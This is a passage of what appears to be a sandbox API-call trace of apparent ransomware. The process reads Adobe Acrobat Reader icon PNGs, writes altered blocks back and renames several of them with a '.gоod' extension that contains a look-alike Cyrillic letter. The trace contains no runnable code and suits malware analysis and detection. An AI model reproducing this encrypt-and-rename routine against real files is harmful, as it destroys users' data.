lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0128.112] ReadFile (in: hFile=0x618, lpBuffer=0x35e97a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x35e97a0*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0128.114] CloseHandle (hObject=0x618) returned 1 [0128.114] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png", lpFilePart=0x0) returned 0x93 [0128.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0128.114] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0128.114] GetFileType (hFile=0x618) returned 0x1 [0128.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0128.114] GetFileType (hFile=0x618) returned 0x1 [0128.114] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x2220 [0128.114] WriteFile (in: hFile=0x618, lpBuffer=0x35eab68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x35eab68*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0128.115] CloseHandle (hObject=0x618) returned 1 [0128.115] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png", lpFilePart=0x0) returned 0x93 [0128.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0128.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0128.116] GetFileType (hFile=0x618) returned 0x1 [0128.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0128.116] GetFileType (hFile=0x618) returned 0x1 [0128.116] ReadFile (in: hFile=0x618, lpBuffer=0x35ecf58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x35ecf58*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0128.526] CloseHandle (hObject=0x618) returned 1 [0128.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png", lpFilePart=0x0) returned 0x93 [0128.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0128.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0128.527] GetFileType (hFile=0x618) returned 0x1 [0128.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0128.527] GetFileType (hFile=0x618) returned 0x1 [0128.527] WriteFile (in: hFile=0x618, lpBuffer=0x34dc298*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x34dc298*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0128.527] CloseHandle (hObject=0x618) returned 1 [0128.527] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png", lpFilePart=0x0) returned 0x93 [0128.527] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png.gоod", lpFilePart=0x0) returned 0x98 [0128.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0128.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_bow.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x48d1f1ce, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2230)) returned 1 [0128.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0128.527] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_bow.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_bow.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_bow.png.gоod")) returned 1 [0128.528] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png", lpFilePart=0x0) returned 0x93 [0128.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0128.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_wob.png"), fInfoLevelId=0x0, lpFileInformation=0x356fa10 | out: lpFileInformation=0x356fa10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x294b)) returned 1 [0128.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0128.529] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png", lpFilePart=0x0) returned 0x93 [0128.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0128.529] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0128.529] GetFileType (hFile=0x618) returned 0x1 [0128.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0128.529] GetFileType (hFile=0x618) returned 0x1 [0128.529] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0128.529] ReadFile (in: hFile=0x618, lpBuffer=0x356ffa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x356ffa8*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0128.531] CloseHandle (hObject=0x618) returned 1 [0128.531] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png", lpFilePart=0x0) returned 0x93 [0128.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0128.531] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0128.531] GetFileType (hFile=0x618) returned 0x1 [0128.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0128.531] GetFileType (hFile=0x618) returned 0x1 [0128.531] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x294b [0128.531] WriteFile (in: hFile=0x618, lpBuffer=0x3571300*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x3571300*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0128.532] CloseHandle (hObject=0x618) returned 1 [0128.532] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png", lpFilePart=0x0) returned 0x93 [0128.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0128.532] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0128.532] GetFileType (hFile=0x618) returned 0x1 [0128.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0128.532] GetFileType (hFile=0x618) returned 0x1 [0128.532] ReadFile (in: hFile=0x618, lpBuffer=0x3573680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x3573680*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0129.116] CloseHandle (hObject=0x618) returned 1 [0129.117] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png", lpFilePart=0x0) returned 0x93 [0129.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0129.117] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0129.117] GetFileType (hFile=0x618) returned 0x1 [0129.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0129.117] GetFileType (hFile=0x618) returned 0x1 [0129.117] WriteFile (in: hFile=0x618, lpBuffer=0x34626d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x34626d0*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0129.117] CloseHandle (hObject=0x618) returned 1 [0129.117] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png", lpFilePart=0x0) returned 0x93 [0129.117] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png.gоod", lpFilePart=0x0) returned 0x98 [0129.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0129.118] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_wob.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x492c957a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x295b)) returned 1 [0129.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0129.118] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_wob.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hiContrast_wob.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_hicontrast_wob.png.gоod")) returned 1 [0129.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png", lpFilePart=0x0) returned 0x91 [0129.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0129.119] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png"), fInfoLevelId=0x0, lpFileInformation=0x35372e0 | out: lpFileInformation=0x35372e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5f96)) returned 1 [0129.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0129.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png", lpFilePart=0x0) returned 0x91 [0129.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0129.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0129.119] GetFileType (hFile=0x618) returned 0x1 [0129.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0129.119] GetFileType (hFile=0x618) returned 0x1 [0129.120] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0129.120] ReadFile (in: hFile=0x618, lpBuffer=0x3537868, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x3537868*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0129.597] CloseHandle (hObject=0x618) returned 1 [0129.597] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png", lpFilePart=0x0) returned 0x91 [0129.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0129.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0129.597] GetFileType (hFile=0x618) returned 0x1 [0129.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0129.597] GetFileType (hFile=0x618) returned 0x1 [0129.598] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x5f96 [0129.598] WriteFile (in: hFile=0x618, lpBuffer=0x36300e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x36300e8*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0129.599] CloseHandle (hObject=0x618) returned 1 [0129.599] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png", lpFilePart=0x0) returned 0x91 [0129.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0129.599] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0129.599] GetFileType (hFile=0x618) returned 0x1 [0129.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0129.599] GetFileType (hFile=0x618) returned 0x1 [0129.599] ReadFile (in: hFile=0x618, lpBuffer=0x3632460, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x3632460*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0130.595] CloseHandle (hObject=0x618) returned 1 [0130.595] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png", lpFilePart=0x0) returned 0x91 [0130.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0130.595] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0130.596] GetFileType (hFile=0x618) returned 0x1 [0130.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0130.596] GetFileType (hFile=0x618) returned 0x1 [0130.596] WriteFile (in: hFile=0x618, lpBuffer=0x34b27a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: 